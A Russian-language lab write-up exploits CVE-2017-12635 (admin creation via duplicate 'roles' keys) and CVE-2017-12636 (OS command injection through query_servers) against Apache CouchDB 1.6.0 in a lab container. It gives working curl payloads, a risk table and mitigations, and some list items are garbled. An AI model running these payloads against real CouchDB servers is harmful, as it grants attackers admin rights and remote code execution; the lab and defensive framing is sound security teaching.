
Пошаговая лабораторная работа, демонстрирующая эксплуатацию CVE-2017-12635 (повышение привилегий) и CVE-2017-12636 (удалённое выполнение кода) против Apache CouchDB 1.6.0, с оценкой рисков и рекомендациями по устранению уязвимостей.
Начнём с того, что запущено в окружении. Перечисляю все активные контейнеры:
docker ps

Жертва открывает единственный порт: 5984
⇒ Я обращаюсь к нему напрямую с помощью curl, чтобы получить дополнительную информацию:
curl -i http://192.168.3.137:5984/

Анализ ответа:
Ответ: HTTP/1.1 200 OK — это доказывает, что сервис на порту 5984 активен и доступен напрямую через HTTP.
Заголовок сервера: CouchDB/1.6.0 (Erlang OTP/17) и JSON-тело, содержащее "version":"1.6.0", подтверждают, что это Apache CouchDB версии 1.6.0.
Оценка поверхности атаки:
Сервис CouchDB доступен извне через порт 5984. Это порт по умолчанию для HTTP API CouchDB, что позволяет взаимодействовать с базой данных через REST API.
Версия CouchDB 1.6.0 является старой, выпущенной до патча 1.7.1. Согласно документации Apache, версии CouchDB в этом диапазоне подвержены следующим уязвимостям:
roles.=> Размышление: На основе полученного ответа есть достаточно доказательств, чтобы определить, что на жертве запущен Apache CouchDB 1.6.0 на порту 5984. Это старая версия, связанная с цепочкой эксплуатации CVE-2017-12635 и CVE-2017-12636. Поэтому логичный путь эксплуатации — сначала проверить состояние аутентификации, а затем оценить возможность повышения привилегий или выполнения команд через HTTP API CouchDB.
CVE-2017-12635 использует расхождение между двумя JSON-парсерами в CouchDB. При отправке документа пользователя в /_users с двумя повторяющимися ключами roles CouchDB использует второй ключ roles для проверки прав на запись документа, но использует первый ключ roles для фактических прав пользователя после создания. Таким образом, атакующий задаёт первый roles как ["_admin"], а второй roles как [], чтобы обойти проверку валидации, в результате чего созданный пользователь получает права администратора.

Согласно документации CouchDB, CouchDB хранит информацию о пользователях в специальной базе данных с именем _users, где каждый документ пользователя имеет идентификатор вида org.couchdb.user:<имя_пользователя>. Поскольку нам нужно создать пользователя с именем hacker, используется конечная точка /_users/org.couchdb.user:hacker. Я создаю нового пользователя и назначаю ему права администратора, чтобы посмотреть, как ответит сервер.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

Полученный ответ равен true, что доказывает успешное создание пользователя. Выполняю проверку с помощью учётных данных нового администратора: curl -u hacker:password123 http://192.168.3.137:5984/_users. Конечная точка /_users — это системная база данных, из которой по умолчанию только администраторы могут читать метаданные. Если запрос отправляет обычный пользователь → 403 Forbidden. Ответ 200 OK с полной информацией о БД подтверждает, что учётная запись hacker действительно обладает привилегиями _admin. Это полностью соответствует гипотезе о CVE-2017-12635 на Apache CouchDB 1.6.0.
Итог:
Я успешно подтвердил CVE-2017-12635 на Apache CouchDB 1.6.0. Первоначально порт 5984 лишь показывал, что HTTP API CouchDB открыт. После снятия отпечатка (fingerprinting) с помощью curl ответ подтвердил, что сервис — это CouchDB 1.6.0, версия, попадающая в диапазон уязвимости CVE-2017-12635.
Вместо того чтобы сразу делать вывод о возможности RCE, я сначала пошагово проверил процесс аутентификации. Отправив документ пользователя в /_users с двумя повторяющимися ключами roles, полезная нагрузка успешно создала пользователя hacker. Затем запрос к /_users через curl -u hacker:password123 вернул 200 OK вместе с деталями системной базы данных, что доказывает: пользователь hacker действительно обладает привилегиями _admin.
Следовательно, после получения привилегий администратора CouchDB поверхность атаки расширяется до CVE-2017-12636, поскольку администраторы могут изменять конфигурацию CouchDB через HTTP API. Это является предпосылкой для дальнейшей оценки возможности удалённого выполнения команд на сервере.
⇒ Размышление: Использовать недавно полученные привилегии администратора для проверки выполнения команд на уровне ОС.

Согласно документации Apache CouchDB, Query Server — это внешний процесс, используемый CouchDB для обработки функций проектирования (design functions), например JavaScript-представления в механизме MapReduce. Когда документ проектирования объявляет поле "language", CouchDB использует это значение для поиска соответствующего query server в конфигурации query_servers.
Если документ проектирования содержит "language": "javascript", CouchDB запрашивает конфигурацию query_servers.javascript, чтобы определить, какой процесс запускать для обработки функции map/reduce. Это легитимная конструкция CouchDB, так как ядро CouchDB не выполняет весь код представлений непосредственно в движке базы данных.
⇒ Проблема в CVE-2017-12636 заключается в возможности администратора CouchDB изменять конфигурацию сервера через HTTP API. Некоторые из этих конфигураций содержат пути к бинарным файлам или процессам уровня операционной системы, которые CouchDB будет запускать. Поэтому после получения привилегий администратора через CVE-2017-12635 атакующий может изменить query_servers.<language>, указав на команду ОС. При запуске представления, использующего соответствующий язык, CouchDB запустит эту команду, что приведёт к выполнению команд на сервере.
Схема эксплуатации:
query_servers.cmd через конечную точку /_config."language": "cmd".query_servers.cmd и запускает сконфигурированный процесс.Запись вредоносной конфигурации query_server
Регистрируем «query server» с произвольным именем, значением которого является команда ОС:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
Это команда ОС, которую запустит процесс CouchDB.
Запуск выполнения — создание базы данных и документа
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
Порядок выполнения:
Запрос представления → [HTTP PUT Config] -> [Внедрение команды ОС в качестве имитации языка запросов]
→ [HTTP PUT Design Doc] -> [Назначение атрибута обработки имитации языка запросов]
→ [HTTP GET View] -> [Принудительный поиск в конфигурации CouchDB -> Запуск дочернего процесса, выполняющего команду]
→ [Чтение /tmp/pwned] -> [Подтверждение успешного выполнения с привилегиями (RCE)]
Проверка RCE:
docker exec project1-lab07-1 cat /tmp/pwned

Размышление: Эта RCE-атака является слепой/асинхронной, поскольку вывод команды не возвращается напрямую в HTTP-ответе. Поэтому для доказательства выполнения команды я использовал полезную нагрузку, которая создаёт побочный эффект, записывая вывод команды id в файл /tmp/pwned. Прочитав файл /tmp/pwned в контейнере и увидев вывод uid=1000(couchdb) gid=999(couchdb), можно заключить, что CouchDB успешно выполнил команду ОС с привилегиями пользователя couchdb.
Результат uid=1000(couchdb) показывает, что команда выполнялась не с правами root, а с привилегиями процесса CouchDB. Этого всё равно достаточно, чтобы доказать, что CVE-2017-12636 приводит к удалённому выполнению кода в границах прав сервиса.
Комбинация уязвимости несогласованности JSON-парсеров (CVE-2017-12635) и инъекции Query Server (CVE-2017-12636) в системе оценивается как риск наивысшего уровня:
| Критерий | Оценка | Подробности |
|---|---|---|
| Оценка CVSS | 9.8 (Критический) | Почти максимальная, для эксплуатации требуется всего один HTTP-запрос. |
| Аутентификация (Auth) | Не требуется | Атакующему не нужна учётная запись или вход в систему. CVE-2017-12635 позволяет удалённо создавать учётные записи администратора. |
| Сложность | Очень низкая | Заключается в отправке одного HTTP PUT-запроса, содержащего JSON-полезную нагрузку с повторяющимся ключом "roles", в конечную точку /_users. |
| Полученные привилегии | couchdb (uid=1000) | Запускает команды ОС с привилегиями пользователя, под которым работает CouchDB, что позволяет читать/записывать файлы системы и получать доступ ко всем базам данных. |
| Боковое перемещение | Высокая | Из скомпрометированного контейнера атакующий может выполнять внутреннее сканирование (LAN) и атаковать другие контейнеры или хост-машину в пределах одной Docker-сети. |
Для полного устранения этих уязвимостей команда системного администрирования должна внедрить следующие меры (в порядке приоритета):
require_valid_user = true в конфигурационном файле local.ini, чтобы заблокировать весь анонимный доступ к API. Никогда не запускайте CouchDB в режиме «Admin Party» (когда администратор не задан и все являются администраторами).127.0.0.1.config_whitelist в файле local.ini, чтобы ограничить, какие ключи конфигурации можно изменять через API, не позволяя атакующим использовать конечную точку /_config/query_servers для внедрения команд ОС.